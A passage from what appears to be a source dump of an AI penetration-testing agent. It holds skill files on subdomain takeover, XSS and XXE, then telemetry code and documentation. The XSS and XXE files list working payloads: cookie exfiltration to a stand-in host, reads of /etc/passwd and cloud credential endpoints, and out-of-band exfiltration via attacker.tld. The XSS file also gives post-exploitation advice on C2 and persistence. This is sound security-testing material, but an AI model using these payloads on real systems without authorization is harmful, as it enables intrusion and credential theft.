GitHub/GitLab Pages, Netlify, Vercel, Azure Static Web Apps: domain binding flows vary\n- Most require TXT now, but historical projects may not\n\n### CDN and Edge\n\n- CloudFront/Fastly/Azure CDN/Akamai: alternate domain verification differs\n- Some products historically allowed alt-domain claims without proof\n\n### DNS Delegations\n\n- Child-zone NS delegations outrank parent records\n- Control of delegated NS yields full control of all hosts below that label\n\n## Testing Methodology\n\n1. **Enumerate subdomains** - Aggregate CT logs, passive DNS, and org inventory\n2. **Resolve DNS** - All RR types: A/AAAA, CNAME, NS, MX, TXT; keep CNAME chains\n3. **HTTP/TLS probe** - Capture status, body, error text, Server headers, certificate SANs\n4. **Fingerprint providers** - Map known \"unclaimed/missing resource\" signatures\n5. **Attempt claim** (with authorization) - Create missing resource with exact required name\n6. **Validate control** - Serve minimal unique payload; confirm over HTTPS\n\n## Validation\n\n1. Before: record DNS chain, HTTP response (status/body length/fingerprint), and TLS details\n2. After claim: serve unique content and verify over HTTPS at the target subdomain\n3. Optional: issue a DV certificate (legal scope) and reference CT entry as evidence\n4. Demonstrate impact chains (CSP/script-src trust, OAuth redirect acceptance, cookie Domain scoping)\n\n## False Positives\n\n- \"Unknown domain\" pages that are not claimable due to enforced TXT/ownership checks\n- Provider-branded default pages for valid, owned resources (not a takeover)\n- Soft 404s from your own infrastructure or catch-all vhosts\n\n## Impact\n\n- Content injection under trusted subdomain: phishing, malware delivery, brand damage\n- Cookie and CORS pivot: if parent site sets Domain-scoped cookies or allows subdomain origins\n- OAuth/SSO abuse via whitelisted redirect URIs\n- Email delivery manipulation for subdomain\n\n## Pro Tips\n\n1. Build a pipeline: enumerate (subfinder/amass) → resolve (dnsx) → probe (httpx) → fingerprint (nuclei/custom) → verify claims\n2. Maintain a current fingerprint corpus; provider messages change frequently\n3. Prefer minimal PoCs: static \"ownership proof\" page and, where allowed, DV cert issuance\n4. Monitor CT for unexpected certs on your subdomains\n5. Eliminate dangling DNS in decommission workflows first\n6. For NS delegations, treat any expired nameserver domain as critical\n7. Use CAA to limit certificate issuance while you triage\n\n## Summary\n\nSubdomain safety is lifecycle safety: if DNS points at anything, you must own and verify the thing on every provider and product path. Remove or verify—there is no safe middle.\n"
  },
  {
    "path": "strix/skills/vulnerabilities/xss.md",
    "content": "---\nname: xss\ndescription: XSS testing covering reflected, stored, and DOM-based vectors with CSP bypass techniques\n---\n\n# XSS\n\nCross-site scripting persists because context, parser, and framework edges are complex. Treat every user-influenced string as untrusted until it is strictly encoded for the exact sink and guarded by runtime policy (CSP/Trusted Types).\n\n## Attack Surface\n\n**Types**\n- Reflected, stored, and DOM-based XSS across web/mobile/desktop shells\n\n**Contexts**\n- HTML, attribute, URL, JS, CSS, SVG/MathML, Markdown, PDF\n\n**Frameworks**\n- React/Vue/Angular/Svelte sinks, template engines, SSR/ISR\n\n**Defenses to Bypass**\n- CSP/Trusted Types, DOMPurify, framework auto-escaping\n\n## Injection Points\n\n**Server Render**\n- Templates (Jinja/EJS/Handlebars), SSR frameworks, email/PDF renderers\n\n**Client Render**\n- `innerHTML`/`outerHTML`/`insertAdjacentHTML`, template literals\n- `dangerouslySetInnerHTML`, `v-html`, `$sce.trustAsHtml`, Svelte `{@html}`\n\n**URL/DOM**\n- `location.hash`/`search`, `document.referrer`, base href, `data-*` attributes\n\n**Events/Handlers**\n- `onerror`/`onload`/`onfocus`/`onclick` and `javascript:` URL handlers\n\n**Cross-Context**\n- postMessage payloads, WebSocket messages, local/sessionStorage, IndexedDB\n\n**File/Metadata**\n- Image/SVG/XML names and EXIF, office documents processed server/client\n\n## Context Encoding Rules\n\n- **HTML text**: encode `< > & \" '`\n- **Attribute value**: encode `\" ' < > &` and ensure attribute quoted; avoid unquoted attributes\n- **URL/JS URL**: encode and validate scheme (allowlist https/mailto/tel); disallow javascript/data\n- **JS string**: escape quotes, backslashes, newlines; prefer `JSON.stringify`\n- **CSS**: avoid injecting into style; sanitize property names/values; beware `url()` and `expression()`\n- **SVG/MathML**: treat as active content; many tags execute via onload or animation events\n\n## Key Vulnerabilities\n\n### DOM XSS\n\n**Sources**\n- `location.*` (hash/search), `document.referrer`, postMessage, storage, service worker messages\n\n**Sinks**\n- `innerHTML`/`outerHTML`/`insertAdjacentHTML`, `document.write`\n- `setAttribute`, `setTimeout`/`setInterval` with strings\n- `eval`/`Function`, `new Worker` with blob URLs\n\n**Vulnerable Pattern**\n```javascript\nconst q = new URLSearchParams(location.search).get('q');\nresults.innerHTML = `<li>${q}</li>`;\n```\nExploit: `?q=<img src=x onerror=fetch('//x.tld/'+document.domain)>`\n\n### Mutation XSS\n\nLeverage parser repairs to morph safe-looking markup into executable code (e.g., noscript, malformed tags):\n```html\n<noscript><p title=\"</noscript><img src=x onerror=alert(1)>\n<form><button formaction=javascript:alert(1)>\n```\n\n### Template Injection\n\nServer or client templates evaluating expressions (AngularJS legacy, Handlebars helpers, lodash templates):\n```\n{{constructor.constructor('fetch(`//x.tld?c=`+document.cookie)')()}}\n```\n\n### CSP Bypass\n\n- Weak policies: missing nonces/hashes, wildcards, `data:` `blob:` allowed, inline events allowed\n- Script gadgets: JSONP endpoints, libraries exposing function constructors\n- Import maps or modulepreload lax policies\n- Base tag injection to retarget relative script URLs\n- Dynamic module import with allowed origins\n\n### Trusted Types Bypass\n\n- Custom policies returning unsanitized strings; abuse policy whitelists\n- Sinks not covered by Trusted Types (CSS, URL handlers) and pivot via gadgets\n\n## Polyglot Payloads\n\nKeep a compact set tuned per context:\n- **HTML node**: `<svg onload=alert(1)>`\n- **Attr quoted**: `\" autofocus onfocus=alert(1) x=\"`\n- **Attr unquoted**: `onmouseover=alert(1)`\n- **JS string**: `\"-alert(1)-\"`\n- **URL**: `javascript:alert(1)`\n\n## Framework-Specific\n\n### React\n\n- Primary sink: `dangerouslySetInnerHTML`\n- Secondary: setting event handlers or URLs from untrusted input\n- Bypass patterns: unsanitized HTML through libraries; custom renderers using innerHTML\n\n### Vue\n\n- Sinks: `v-html` and dynamic attribute bindings\n- SSR hydration mismatches can re-interpret content\n\n### Angular\n\n- Legacy expression injection (pre-1.6)\n- `$sce` trust APIs misused to whitelist attacker content\n\n### Svelte\n\n- Sinks: `{@html}` and dynamic attributes\n\n### Markdown/Richtext\n\n- Renderers often allow HTML passthrough; plugins may re-enable raw HTML\n- Sanitize post-render; forbid inline HTML or restrict to safe whitelist\n\n## Special Contexts\n\n### Email\n\n- Most clients strip scripts but allow CSS/remote content\n- Use CSS/URL tricks only if relevant; avoid assuming JS execution\n\n### PDF and Docs\n\n- PDF engines may execute JS in annotations or links\n- Test `javascript:` in links and submit actions\n\n### File Uploads\n\n- SVG/HTML uploads served with `text/html` or `image/svg+xml` can execute inline\n- Verify content-type and `Content-Disposition: attachment`\n- Mixed MIME and sniffing bypasses; ensure `X-Content-Type-Options: nosniff`\n\n## Post-Exploitation\n\n- Session/token exfiltration: prefer fetch/XHR over image beacons for reliability\n- Real-time control: WebSocket C2 with strict command set\n- Persistence: service worker registration; localStorage/script gadget re-injection\n- Impact: role hijack, CSRF chaining, internal port scan via fetch, credential phishing overlays\n\n## Testing Methodology\n\n1. **Identify sources** - URL/query/hash/referrer, postMessage, storage, WebSocket, server JSON\n2. **Trace to sinks** - Map data flow from source to sink\n3. **Classify context** - HTML node, attribute, URL, script block, event handler, JS eval-like, CSS, SVG\n4. **Assess defenses** - Output encoding, sanitizer, CSP, Trusted Types, DOMPurify config\n5. **Craft payloads** - Minimal payloads per context with encoding/whitespace/casing variants\n6. **Multi-channel** - Test across REST, GraphQL, WebSocket, SSE, service workers\n\n## Validation\n\n1. Provide minimal payload and context (sink type) with before/after DOM or network evidence\n2. Demonstrate cross-browser execution where relevant or explain parser-specific behavior\n3. Show bypass of stated defenses (sanitizer settings, CSP/Trusted Types) with proof\n4. Quantify impact beyond alert: data accessed, action performed, persistence achieved\n\n## False Positives\n\n- Reflected content safely encoded in the exact context\n- CSP with nonces/hashes and no inline/event handlers\n- Trusted Types enforced on sinks; DOMPurify in strict mode with URI allowlists\n- Scriptable contexts disabled (no HTML pass-through, safe URL schemes enforced)\n\n## Impact\n\n- Session hijacking and credential theft\n- Account takeover via token exfiltration\n- CSRF chaining for state-changing actions\n- Malware distribution and phishing\n- Persistent compromise via service workers\n\n## Pro Tips\n\n1. Start with context classification, not payload brute force\n2. Use DOM instrumentation to log sink usage; it reveals unexpected flows\n3. Keep a small, curated payload set per context and iterate with encodings\n4. Validate defenses by configuration inspection and negative tests\n5. Prefer impact-driven PoCs (exfiltration, CSRF chain) over alert boxes\n6. Treat SVG/MathML as first-class active content; test separately\n7. Re-run tests under different transports and render paths (SSR vs CSR vs hydration)\n8. Test CSP/Trusted Types as features: attempt to violate policy and record the violation reports\n\n## Summary\n\nContext + sink decide execution. Encode for the exact context, verify at runtime with CSP/Trusted Types, and validate every alternative render path. Small payloads with strong evidence beat payload catalogs.\n"
  },
  {
    "path": "strix/skills/vulnerabilities/xxe.md",
    "content": "---\nname: xxe\ndescription: XXE testing for external entity injection, file disclosure, and SSRF via XML parsers\n---\n\n# XXE\n\nXML External Entity injection is a parser-level failure that enables local file reads, SSRF to internal control planes, denial-of-service via entity expansion, and in some stacks, code execution through XInclude/XSLT or language-specific wrappers. Treat every XML input as untrusted until the parser is proven hardened.\n\n## Attack Surface\n\n**Capabilities**\n- File disclosure: read server files and configuration\n- SSRF: reach metadata services, internal admin panels, service ports\n- DoS: entity expansion (billion laughs), external resource amplification\n\n**Injection Surfaces**\n- REST/SOAP/SAML/XML-RPC, file uploads (SVG, Office)\n- PDF generators, build/report pipelines, config importers\n\n**Transclusion**\n- XInclude and XSLT `document()` loading external resources\n\n## High-Value Targets\n\n**File Uploads**\n- SVG/MathML, Office (docx/xlsx/ods/odt), XML-based archives\n- Android/iOS plist, project config imports\n\n**Protocols**\n- SOAP/XML-RPC/WebDAV/SAML (ACS endpoints)\n- RSS/Atom feeds, server-side renderers and converters\n\n**Hidden Paths**\n- Parameters: \"xml\", \"upload\", \"import\", \"transform\", \"xslt\", \"xsl\", \"xinclude\"\n- Processing-instruction headers\n\n## Detection Channels\n\n### Direct\n\n- Inline disclosure of entity content in the HTTP response, transformed output, or error pages\n\n### Error-Based\n\n- Coerce parser errors that leak path fragments or file content via interpolated messages\n\n### OAST\n\n- Blind XXE via parameter entities and external DTDs; confirm with DNS/HTTP callbacks\n- Encode data into request paths/parameters to exfiltrate small secrets (hostnames, tokens)\n\n### Timing\n\n- Fetch slow or unroutable resources to produce measurable latency differences (connect vs read timeouts)\n\n## Core Payloads\n\n### Local File\n\n```xml\n<!DOCTYPE x [<!ENTITY xxe SYSTEM \"file:///etc/passwd\">]>\n<r>&xxe;</r>\n```\n\n```xml\n<!DOCTYPE x [<!ENTITY xxe SYSTEM \"file:///c:/windows/win.ini\">]>\n<r>&xxe;</r>\n```\n\n### SSRF\n\n```xml\n<!DOCTYPE x [<!ENTITY xxe SYSTEM \"http://127.0.0.1:2375/version\">]>\n<r>&xxe;</r>\n```\n\n```xml\n<!DOCTYPE x [<!ENTITY xxe SYSTEM \"http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI\">]>\n<r>&xxe;</r>\n```\n\n### OOB Parameter Entity\n\n```xml\n<!DOCTYPE x [<!ENTITY % dtd SYSTEM \"http://attacker.tld/evil.dtd\"> %dtd;]>\n```\n\nevil.dtd:\n```xml\n<!ENTITY % f SYSTEM \"file:///etc/hostname\">\n<!ENTITY % e \"<!ENTITY &#x25; exfil SYSTEM 'http://%f;.attacker.tld/'>\">\n%e; %exfil;\n```\n\n## Key Vulnerabilities\n\n### Parameter Entities\n\n- Use parameter entities in the DTD subset to define secondary entities that exfiltrate content\n- Works even when general entities are sanitized in the XML tree\n\n### XInclude\n\n```xml\n<root xmlns:xi=\"http://www.w3.org/2001/XInclude\">\n  <xi:include parse=\"text\" href=\"file:///etc/passwd\"/>\n</root>\n```\n\nEffective where entity resolution is blocked but XInclude remains enabled in the pipeline.\n\n### XSLT Document\n\nXSLT processors can fetch external resources via `document()`:\n\n```xml\n<xsl:stylesheet version=\"1.0\" xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\">\n  <xsl:template match=\"/\">\n    <xsl:copy-of select=\"document('file:///etc/passwd')\"/>\n  </xsl:template>\n</xsl:stylesheet>\n```\n\nTargets: transform endpoints, reporting engines (XSLT/Jasper/FOP), xml-stylesheet PI consumers.\n\n### Protocol Wrappers\n\n- Java: `jar:`, `netdoc:`\n- PHP: `php://filter`, `expect://` (when module enabled)\n- Gopher: craft raw requests to Redis/FCGI when client allows non-HTTP schemes\n\n## Bypass Techniques\n\n**Encoding Variants**\n- UTF-16/UTF-7 declarations, mixed newlines\n- CDATA and comments to evade naive filters\n\n**DOCTYPE Variants**\n- PUBLIC vs SYSTEM, mixed case `<!DoCtYpE>`\n- Internal vs external subsets, multi-DOCTYPE edge handling\n\n**Network Controls**\n- If network blocked but filesystem readable, pivot to local file disclosure\n- If files blocked but network open, pivot to SSRF/OAST\n\n## Special Contexts\n\n### SOAP\n\n```xml\n<soap:Envelope xmlns:soap=\"http://schemas.xmlsoap.org/soap/envelope/\">\n  <soap:Body>\n    <!DOCTYPE d [<!ENTITY xxe SYSTEM \"file:///etc/passwd\">]>\n    <d>&xxe;</d>\n  </soap:Body>\n</soap:Envelope>\n```\n\n### SAML\n\n- Assertions are XML-signed, but upstream XML parsers prior to signature verification may still process entities/XInclude\n- Test ACS endpoints with minimal probes\n\n### SVG and Renderers\n\n- Inline SVG and server-side SVG→PNG/PDF renderers process XML\n- Attempt local file reads via entities/XInclude\n\n### Office Docs\n\n- OOXML (docx/xlsx/pptx) are ZIPs containing XML\n- Insert payloads into document.xml, rels, or drawing XML and repackage\n\n## Testing Methodology\n\n1. **Inventory consumers** - Endpoints, upload parsers, background jobs, CLI tools, converters, third-party SDKs\n2. **Capability probes** - Does parser accept DOCTYPE? Resolve external entities? Allow network access? Support XInclude/XSLT?\n3. **Establish oracle** - Error shape, length/ETag diffs, OAST callbacks\n4. **Escalate** - Targeted file/SSRF payloads\n5. **Validate parity** - Same parser options must hold across REST, SOAP, SAML, file uploads, and background jobs\n\n## Validation\n\n1. Provide a minimal payload proving parser capability (DOCTYPE/XInclude/XSLT)\n2. Demonstrate controlled access (file path or internal URL) with reproducible evidence\n3. Confirm blind channels with OAST and correlate to the triggering request\n4. Show cross-channel consistency (e.g., same behavior in upload and SOAP paths)\n5. Bound impact: exact files/data reached or internal targets proven\n\n## False Positives\n\n- DOCTYPE accepted but entities not resolved and no transclusion reachable\n- Filters or sandboxes that emit entity strings literally (no IO performed)\n- Mocks/stubs that simulate success without network/file access\n- XML processed only client-side (no server parse)\n\n## Impact\n\n- Disclosure of credentials/keys/configs, code, and environment secrets\n- Access to cloud metadata/token services and internal admin panels\n- Denial of service via entity expansion or slow external resources\n- Code execution via XSLT/expect:// in insecure stacks\n\n## Pro Tips\n\n1. Prefer OAST first; it is the quietest confirmation in production-like paths\n2. When content is sanitized, use error-based and length/ETag diffs\n3. Probe XInclude/XSLT; they often remain enabled after entity resolution is disabled\n4. Aim SSRF at internal well-known ports (kubelet, Docker, Redis, metadata) before public hosts\n5. In uploads, repackage OOXML/SVG rather than standalone XML; many apps parse these implicitly\n6. Keep payloads minimal; avoid noisy billion-laughs unless specifically testing DoS\n7. Test background processors separately; they often use different parser settings\n8. Validate parser options in code/config; do not rely on WAFs to block DOCTYPE\n9. Combine with path traversal and deserialization where XML touches downstream systems\n10. Document exact parser behavior per stack; defenses must match real libraries and flags\n\n## Summary\n\nXXE is eliminated by hardening parsers: forbid DOCTYPE, disable external entity resolution, and disable network access for XML processors and transformers across every code path.\n"
  },
  {
    "path": "strix/telemetry/README.md",
    "content": "### Overview\n\nTo help make Strix better for everyone, we collect anonymized data that helps us understand how to better improve our AI security agent for our users, guide the addition of new features, and fix common errors and bugs. This feedback loop is crucial for improving Strix's capabilities and user experience.\n\nWe use [PostHog](https://posthog.com), an open-source analytics platform, for data collection and analysis. Our telemetry implementation is fully transparent - you can review the [source code](https://github.com/usestrix/strix/blob/main/strix/telemetry/posthog.py) to see exactly what we track.\n\n### Telemetry Policy\n\nPrivacy is our priority. All collected data is anonymized by default. Each session gets a random UUID that is not persisted or tied to you. Your code, scan targets, vulnerability details, and findings always remain private and are never collected.\n\n### What We Track\n\nWe collect only very **basic** usage data including:\n\n**Session Errors:** Duration and error types (not messages or stack traces)\\\n**System Context:** OS type, architecture, Strix version\\\n**Scan Context:** Scan mode (quick/standard/deep), scan type (whitebox/blackbox)\\\n**Model Usage:** Which LLM model is being used (not prompts or responses)\\\n**Aggregate Metrics:** Vulnerability counts by severity, agent/tool counts, token usage and cost estimates\n\nFor complete transparency, you can inspect our [telemetry implementation](https://github.com/usestrix/strix/blob/main/strix/telemetry/posthog.py) to see the exact events we track.\n\n### What We **Never** Collect\n\n- IP addresses, usernames, or any identifying information\n- Scan targets, file paths, target URLs, or domains\n- Vulnerability details, descriptions, or code\n- LLM requests and responses\n\n### How to Opt Out\n\nTelemetry in Strix is entirely **optional**:\n\n```bash\nexport STRIX_TELEMETRY=0\n```\n\nYou can set this environment variable before running Strix to disable **all** telemetry.\n"
  },
  {
    "path": "strix/telemetry/__init__.py",
    "content": "from . import posthog\nfrom .tracer import Tracer, get_global_tracer, set_global_tracer\n\n\n__all__ = [\n    \"Tracer\",\n    \"get_global_tracer\",\n    \"posthog\",\n    \"set_global_tracer\",\n]\n"
  },
  {
    "path": "strix/telemetry/flags.py",
    "content": "from strix.config import Config\n\n\n_DISABLED_VALUES = {\"0\", \"false\", \"no\", \"off\"}\n\n\ndef _is_enabled(raw_value: str | None, default: str = \"1\") -> bool:\n    value = (raw_value if raw_value is not None else default).strip().lower()\n    return value not in _DISABLED_VALUES\n\n\ndef is_otel_enabled() -> bool:\n    explicit = Config.get(\"strix_otel_telemetry\")\n    if explicit is not None:\n        return _is_enabled(explicit)\n    return _is_enabled(Config.get(\"strix_telemetry\"), default=\"1\")\n\n\ndef is_posthog_enabled() -> bool:\n    explicit = Config.get(\"strix_posthog_telemetry\")\n    if explicit is not None:\n        return _is_enabled(explicit)\n    return _is_enabled(Config.get(\"strix_telemetry\"), default=\"1\")\n"
  },
  {
    "path": "strix/telemetry/posthog.py",
    "content": "import json\nimport platform\nimport sys\nimport urllib.request\nfrom pathlib import Path\nfrom typing import TYPE_CHECKING, Any\nfrom uuid import uuid4\n\nfrom strix.telemetry.flags import is_posthog_enabled\n\n\nif TYPE_CHECKING:\n    from strix.telemetry.tracer import Tracer\n\n_POSTHOG_PUBLIC_API_KEY = \"phc_7rO3XRuNT5sgSKAl6HDIrWdSGh1COzxw0vxVIAR6vVZ\"\n_POSTHOG_HOST = \"https://us.i.posthog.com\"\n\n_SESSION_ID = uuid4().hex[:16]\n\n\ndef _is_enabled() -> bool:\n    return is_posthog_enabled()\n\n\ndef _is_first_run() -> bool:\n    marker = Path.home() / \".strix\" / \".seen\"\n    if marker.exists():\n        return False\n    try:\n        marker.parent.mkdir(parents=True, exist_ok=True)\n        marker.touch()\n    except Exception:  # noqa: BLE001, S110\n        pass  # nosec B110\n    return True\n\n\ndef _get_version() -> str:\n    try:\n        from importlib.metadata import version\n\n        return version(\"strix-agent\")\n    except Exception:  # noqa: BLE001\n        return \"unknown\"\n\n\ndef _send(event: str, properties: dict[str, Any]) -> None:\n    if not _is_enabled():\n        return\n    try:\n        payload = {\n            \"api_key\": _POSTHOG_PUBLIC_API_KEY,\n            \"event\": event,\n            \"distinct_id\": _SESSION_ID,\n            \"properties\": properties,\n        }\n        req = urllib.request.Request(  # noqa: S310\n            f\"{_POSTHOG_HOST}/capture/\",\n            data=json.dumps(payload).encode(),\n            headers={\"Content-Type\": \"application/json\"},\n        )\n        with urllib.request.urlopen(req, timeout=10):  # noqa: S310  # nosec B310\n            pass\n    except Exception:  # noqa: BLE001, S110\n        pass  # nosec B110\n\n\ndef _base_props() -> dict[str, Any]:\n    return {\n        \"os\": platform.system().lower(),\n        \"arch\": platform.machine(),\n        \"python\": f\"{sys.version_info.major}.{sys.version_info.minor}\",\n        \"strix_version\": _get_version(),\n    }\n\n\ndef start(\n    model: str | None,\n    scan_mode: str | None,\n    is_whitebox: bool,\n    interactive: bool,\n    has_instructions: bool,\n) -> None:\n    _send(\n        \"scan_started\",\n        {\n            **_base_props(),\n            \"model\": model or \"unknown\",\n            \"scan_mode\": scan_mode or \"unknown\",\n            \"scan_type\": \"whitebox\" if is_whitebox else \"blackbox\",\n            \"interactive\": interactive,\n            \"has_instructions\": has_instructions,\n            \"first_run\": _is_first_run(),\n        },\n    )\n\n\ndef finding(severity: str) -> None:\n    _send(\n        \"finding_reported\",\n        {\n            **_base_props(),\n            \"severity\": severity.lower(),\n        },\n    )\n\n\ndef end(tracer: \"Tracer\", exit_reason: str = \"completed\") -> None:\n    vulnerabilities_counts = {\"critical\": 0, \"high\": 0, \"medium\": 0, \"low\": 0, \"info\": 0}\n    for v in tracer.vulnerability_reports:\n        sev = v.get(\"severity\", \"info\").lower()\n        if sev in vulnerabilities_counts:\n            vulnerabilities_counts[sev] += 1\n\n    llm = tracer.get_total_llm_stats()\n    total = llm.get(\"total\", {})\n\n    _send(\n        \"scan_ended\",\n        {\n            **_base_props(),\n            \"exit_reason\": exit_reason,\n            \"duration_seconds\": round(tracer._calculate_duration()),\n            \"vulnerabilities_total\": len(tracer.vulnerability_reports),\n            **{f\"vulnerabilities_{k}\": v for k, v in vulnerabilities_counts.items()},\n            \"agent_count\": len(tracer.agents),\n            \"tool_count\": tracer.get_real_tool_count(),\n            \"llm_tokens\": llm.get(\"total_tokens\", 0),\n            \"llm_cost\": total.get(\"cost\", 0.0),\n        },\n    )\n\n\ndef error(error_type: str, error_msg: str | None = None) -> None:\n    props = {**_base_props(), \"error_type\": error_type}\n    if error_msg:\n        props[\"error_msg\"] = error_msg\n    _send(\"error\", props)\n"
  },
  {
    "path": "strix/telemetry/tracer.py",
    "content": "import json\nimport logging\nimport threading\nfrom datetime import UTC, datetime\nfrom pathlib import Path\nfrom typing import Any, Callable, Optional\nfrom uuid import uuid4\n\nfrom opentelemetry import trace\nfrom opentelemetry.trace import SpanContext, SpanKind\n\nfrom strix.config import Config\nfrom strix.telemetry import posthog\nfrom strix.telemetry.flags import is_otel_enabled\nfrom strix.telemetry.utils import (\n    TelemetrySanitizer,\n    append_jsonl_record,\n    bootstrap_otel,\n    format_span_id,\n    format_trace_id,\n    get_events_write_lock,\n)\n\n\ntry:\n    from traceloop.sdk import Traceloop\nexcept ImportError:  # pragma: no cover - exercised when dependency is absent\n    Traceloop = None  # type: ignore[assignment,unused-ignore]\n\n\nlogger = logging.getLogger(__name__)\n\n_global_tracer: Optional[\"Tracer\"] = None\n\n_OTEL_BOOTSTRAP_LOCK = threading.Lock()\n_OTEL_BOOTSTRAPPED = False\n_OTEL_REMOTE_ENABLED = False\n\ndef get_global_tracer() -> Optional[\"Tracer\"]:\n    return _global_tracer\n\n\ndef set_global_tracer(tracer: \"Tracer\") -> None:\n    global _global_tracer  # noqa: PLW0603\n    _global_tracer = tracer\n\n\nclass Tracer:\n    def __init__(self, run_name: str | None = None):\n        self.run_name = run_name\n        self.run_id = run_name or f\"run-{uuid4().hex[:8]}\"\n        self.start_time = datetime.now(UTC).isoformat()\n        self.end_time: str | None = None\n\n        self.agents: dict[str, dict[str, Any]] = {}\n        self.tool_executions: dict[int, dict[str, Any]] = {}\n        self.chat_messages: list[dict[str, Any]] = []\n        self.streaming_content: dict[str, str] = {}\n        self.interrupted_content: dict[str, str] = {}\n\n        self.vulnerability_reports: list[dict[str, Any]] = []\n        self.final_scan_result: str | None = None\n\n        self.scan_results: dict[str, Any] | None = None\n        self.scan_config: dict[str, Any] | None = None\n        self.run_metadata: dict[str, Any] = {\n            \"run_id\": self.run_id,\n            \"run_name\": self.run_name,\n            \"start_time\": self.start_time,\n            \"end_time\": None,\n            \"targets\": [],\n            \"status\": \"running\",\n        }\n        self._run_dir: Path | None = None\n        self._events_file_path: Path | None = None\n        self._next_execution_id = 1\n        self._next_message_id = 1\n        self._saved_vuln_ids: set[str] = set()\n        self._run_completed_emitted = False\n        self._telemetry_enabled = is_otel_enabled()\n        self._sanitizer = TelemetrySanitizer()\n\n        self._otel_tracer: Any = None\n        self._remote_export_enabled = False\n\n        self.caido_url: str | None = None\n        self.vulnerability_found_callback: Callable[[dict[str, Any]], None] | None = None\n\n        self._setup_telemetry()\n        self._emit_run_started_event()\n\n    @property\n    def events_file_path(self) -> Path:\n        if self._events_file_path is None:\n            self._events_file_path = self.get_run_dir() / \"events.jsonl\"\n        return self._events_file_path\n\n    def _active_events_file_path(self) -> Path:\n        active = get_global_tracer()\n        if active and active._events_file_path is not None:\n            return active._events_file_path\n        return self.events_file_path\n\n    def _get_events_write_lock(self, output_path: Path | None = None) -> threading.Lock:\n        path = output_path or self.events_file_path\n        return get_events_write_lock(path)\n\n    def _active_run_metadata(self) -> dict[str, Any]:\n        active = get_global_tracer()\n        if active:\n            return active.run_metadata\n        return self.run_metadata\n\n    def _setup_telemetry(self) -> None:\n        global _OTEL_BOOTSTRAPPED, _OTEL_REMOTE_ENABLED\n\n        if not self._telemetry_enabled:\n            self._otel_tracer = None\n            self._remote_export_enabled = False\n            return\n\n        run_dir = self.get_run_dir()\n        self._events_file_path = run_dir / \"events.jsonl\"\n        base_url = (Config.get(\"traceloop_base_url\") or \"\").strip()\n        api_key = (Config.get(\"traceloop_api_key\") or \"\").strip()\n        headers_raw = Config.get(\"traceloop_headers\") or \"\"\n\n        (\n            self._otel_tracer,\n            self._remote_export_enabled,\n            _OTEL_BOOTSTRAPPED,\n            _OTEL_REMOTE_ENABLED,\n        ) = bootstrap_otel(\n            bootstrapped=_OTEL_BOOTSTRAPPED,\n            remote_enabled_state=_OTEL_REMOTE_ENABLED,\n            bootstrap_lock=_OTEL_BOOTSTRAP_LOCK,\n            traceloop=Traceloop,\n            base_url=base_url,\n            api_key=api_key,\n            headers_raw=headers_raw,\n            output_path_getter=self._active_events_file_path,\n            run_metadata_getter=self._active_run_metadata,\n            sanitizer=self._sanitize_data,\n            write_lock_getter=self._get_events_write_lock,\n            tracer_name=\"strix.telemetry.tracer\",\n        )\n\n    def _set_association_properties(self, properties: dict[str, Any]) -> None:\n        if Traceloop is None:\n            return\n        sanitized = self._sanitize_data(properties)\n        try:\n            Traceloop.set_association_properties(sanitized)\n        except Exception:  # noqa: BLE001\n            logger.debug(\"Failed to set Traceloop association properties\")\n\n    def _sanitize_data(self, data: Any, key_hint: str | None = None) -> Any:\n        return self._sanitizer.sanitize(data, key_hint=key_hint)\n\n    def _append_event_record(self, record: dict[str, Any]) -> None:\n        try:\n            append_jsonl_record(self.events_file_path, record)\n        except OSError:\n            logger.exception(\"Failed to append JSONL event record\")\n\n    def _enrich_actor(self, actor: dict[str, Any] | None) -> dict[str, Any] | None:\n        if not actor:\n            return None\n\n        enriched = dict(actor)\n        if \"agent_name\" in enriched:\n            return enriched\n\n        agent_id = enriched.get(\"agent_id\")\n        if not isinstance(agent_id, str):\n            return enriched\n\n        agent_data = self.agents.get(agent_id, {})\n        agent_name = agent_data.get(\"name\")\n        if isinstance(agent_name, str) and agent_name:\n            enriched[\"agent_name\"] = agent_name\n\n        return enriched\n\n    def _emit_event(\n        self,\n        event_type: str,\n        actor: dict[str, Any] | None = None,\n        payload: Any | None = None,\n        status: str | None = None,\n        error: Any | None = None,\n        source: str = \"strix.tracer\",\n        include_run_metadata: bool = False,\n    ) -> None:\n        if not self._telemetry_enabled:\n            return\n\n        enriched_actor = self._enrich_actor(actor)\n        sanitized_actor = self._sanitize_data(enriched_actor) if enriched_actor else None\n        sanitized_payload = self._sanitize_data(payload) if payload is not None else None\n        sanitized_error = self._sanitize_data(error) if error is not None else None\n\n        trace_id: str | None = None\n        span_id: str | None = None\n        parent_span_id: str | None = None\n\n        current_context = trace.get_current_span().get_span_context()\n        if isinstance(current_context, SpanContext) and current_context.is_valid:\n            parent_span_id = format_span_id(current_context.span_id)\n\n        if self._otel_tracer is not None:\n            try:\n                with self._otel_tracer.start_as_current_span(\n                    f\"strix.{event_type}\",\n                    kind=SpanKind.INTERNAL,\n                ) as span:\n                    span_context = span.get_span_context()\n                    trace_id = format_trace_id(span_context.trace_id)\n                    span_id = format_span_id(span_context.span_id)\n\n                    span.set_attribute(\"strix.event_type\", event_type)\n                    span.set_attribute(\"strix.source\", source)\n                    span.set_attribute(\"strix.run_id\", self.run_id)\n                    span.set_attribute(\"strix.run_name\", self.run_name or \"\")\n\n                    if status:\n                        span.set_attribute(\"strix.status\", status)\n                    if sanitized_actor is not None:\n                        span.set_attribute(\n                            \"strix.actor\",\n                            json.dumps(sanitized_actor, ensure_ascii=False),\n                        )\n                    if sanitized_payload is not None:\n                        span.set_attribute(\n                            \"strix.payload\",\n                            json.dumps(sanitized_payload, ensure_ascii=False),\n                        )\n                    if sanitized_error is not None:\n                        span.set_attribute(\n                            \"strix.error\",\n                            json.dumps(sanitized_error, ensure_ascii=False),\n                        )\n            except Exception:  # noqa: BLE001\n                logger.debug(\"Failed to create OTEL span for event type '%s'\", event_type)\n\n        if trace_id is None:\n            trace_id = format_trace_id(uuid4().int & ((1 << 128) - 1)) or uuid4().hex\n        if span_id is None:\n            span_id = format_span_id(uuid4().int & ((1 << 64) - 1)) or uuid4().hex[:16]\n\n        record = {\n            \"timestamp\": datetime.now(UTC).isoformat(),\n            \"event_type\": event_type,\n            \"run_id\": self.run_id,\n            \"trace_id\": trace_id,\n            \"span_id\": span_id,\n            \"parent_span_id\": parent_span_id,\n            \"actor\": sanitized_actor,\n            \"payload\": sanitized_payload,\n            \"status\": status,\n            \"error\": 